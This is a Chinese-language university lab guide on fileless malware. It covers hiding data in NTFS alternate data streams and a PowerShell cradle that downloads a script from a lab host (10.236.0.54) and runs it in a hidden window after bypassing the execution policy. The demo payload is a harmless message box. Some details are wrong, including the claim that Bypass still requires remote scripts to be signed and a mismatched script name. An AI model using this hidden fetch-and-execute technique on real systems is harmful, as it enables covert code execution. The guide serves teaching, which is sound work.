无文件病毒的定义及实践

无文件病毒的定义及实践


实验目的

  1. 理解无文件病毒的定义及其主要类型。
  2. 学习并实践利用NTFS数据流文件创建ADS数据流文件。
  3. 使用PowerShell实现远程下载与隐匿执行脚本。

实验环境

  • 操作系统:Windows 10 (支持NTFS文件系统)
  • 工具:
    • 命令提示符 (cmd)
    • PowerShell
    • 记事本 (Notepad)
    • WinHex(用于查看和删除ADS数据流文件)
    • 网络服务器 (用于托管远程脚本)

实验内容

1. 无文件病毒的定义及类型

无文件病毒定义
无文件病毒是指不依赖传统文件形式的恶意代码。它利用内存、注册表、合法系统工具(如PowerShell、CMD、NTFS ADS等)执行其功能,从而规避文件扫描型安全软件。

主要类型

  • 灰色工具型:使用合法系统工具或组件如PowerShell、注册表、NTFS ADS。
  • 脚本型:使用脚本语言(如VBScript、JavaScript)进行隐匿攻击。
  • 潜伏型:将恶意代码隐匿在注册表、WMI或系统库文件中以长期驻留。
  • 内存型:病毒仅存在于内存中,无磁盘落地,执行后即从内存中移除。

2. NTFS ADS数据流文件创建及使用

实验步骤

  1. 创建附加于宿主文件的ADS数据流文件

    • 使用以下命令创建一个宿主文件:

      1
      echo "Hello World" > primary.txt
    • 向宿主文件添加ADS数据流文件:

      1
      echo "ADS Content" > primary.txt:ads.txt
    • 使用以下命令查看ADS数据流文件:

      1
      dir /r
    • 打开ADS数据流文件:

      1
      notepad primary.txt:ads.txt
  2. 创建独立的ADS数据流文件

    • 创建一个独立的ADS数据流文件:

      1
      echo "Independent ADS Content" > :independent.txt
    • 退至上一级目录,使用 cd ..

    • 查看文件内容:

      1
      notepad test:independent.txt
    • 若无法删除:

      • 使用WinHex工具定位并删除该ADS数据流文件。(“工具→打开磁盘→选择磁盘”) 没有目录的点(“查看→显示→目录浏览器”)


3. 使用PowerShell远程下载并隐匿执行脚本

实验步骤

  1. 创建PowerShell脚本(远程下载测试脚本)

    • 在远程服务器托管一个脚本文件(test.ps1),内容如下:

      1
      2
      3
      4
      5
      6
      7
      function Read-MessageBoxDialog {
      $PopUpWin = new-object -comobject wscript.shell
      $PopUpWin.popup("Hello World, Welcome to School of Cybersecurity, GPNU!")
      }

      Read-MessageBoxDialog

      修改当前会话的执行策略

      在 PowerShell 会话中临时修改执行策略(仅对当前会话有效):

      1
      Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process
      • Scope 参数:
        • Process:仅对当前会话生效,关闭会话后恢复默认。
        • CurrentUser:仅对当前用户生效。
        • LocalMachine:对所有用户生效(需要管理员权限)。

      永久修改执行策略(需慎重)

      如需永久更改执行策略,需使用以下命令(管理员权限):

      1
      Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope LocalMachine

      此命令将执行策略设置为 Bypass,本地脚本可执行,远程脚本需签名。

  2. 使用PowerShell远程下载并执行脚本

    • 选择部署的服务器

      • 您可以使用以下方式部署服务器:
        • 使用本地的简单HTTP服务器(如Python的http.server)。
        • 使用现有的Web服务器(如Apache、Nginx或IIS)。
        • 使用云服务(如AWS、Azure)。

      部署简单HTTP服务器

      • 如果在本地测试,可以使用Python内置的HTTP服务器。

      • 在目标目录中(包含test.ps1文件)运行以下命令:

        1
        python -m http.server 8080 --bind 0.0.0.0
      • 说明

        • 8080 是 HTTP 服务使用的端口。
        • --bind 0.0.0.0 表示服务器绑定到所有可用的网络接口

      配置 Windows 防火墙

      通过命令行打开防火墙的特定端口(如 8080):

      1
      netsh advfirewall firewall add rule name="Allow Python HTTP" dir=in action=allow protocol=TCP localport=8080
      • 说明:
        • name="Allow Python HTTP" 是规则名称,可以随意更改。
        • protocol=TCP 指定协议类型为 TCP。
        • localport=8080 指定开放的端口为 8080。

      删除规则(如果需要删除该规则):

      1
      netsh advfirewall firewall delete rule name="Allow Python HTTP"

      确认服务器可用

      • 使用浏览器访问:http://<服务器IP地址>/gpnu.ps1,确保能够下载gpnu.ps1脚本文件。

    • 在目标计算机执行以下命令:

      1
      powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -NonInteractive -Command "& {IEX(New-Object Net.WebClient).DownloadString('http://10.236.0.54:8080/test.ps1')}"
  3. 隐匿执行

    • 使用以下参数隐匿PowerShell窗口:
      • -WindowStyle Hidden:隐藏窗口。
      • -NoLogo:不显示PowerShell启动标志。
      • -NonInteractive:非交互模式执行。

实验结果

  1. ADS数据流文件实验结果

    • 成功创建并验证宿主文件附带的ADS数据流文件和独立的ADS数据流文件。
    • 使用Notepad和WinHex验证ADS数据流的存在和内容。
  2. PowerShell远程下载与隐匿执行实验结果

    • 成功从远程服务器下载并隐匿执行test.ps1脚本,命令行无输出,脚本功能正常执行。

实验总结

  1. 无文件病毒因其无硬盘落地特性,使得基于文件的传统安全防护难以检测。
  2. NTFS ADS和PowerShell提供了强大的隐匿能力,但也存在被恶意利用的风险。
  3. 在实际系统中,应通过强化执行策略(如限制PowerShell执行策略)、监控命令使用等手段提升安全性。

注意事项

  • 确保实验环境为虚拟机,避免对生产系统产生影响。
  • 远程脚本的服务器应具备HTTPS支持以避免被截获和篡改。

附录

  1. 实验脚本与命令汇总
    • ADS创建命令。
    • PowerShell远程执行命令。
  2. 工具与参考文献
    • WinHex官方文档。
    • PowerShell命令参考。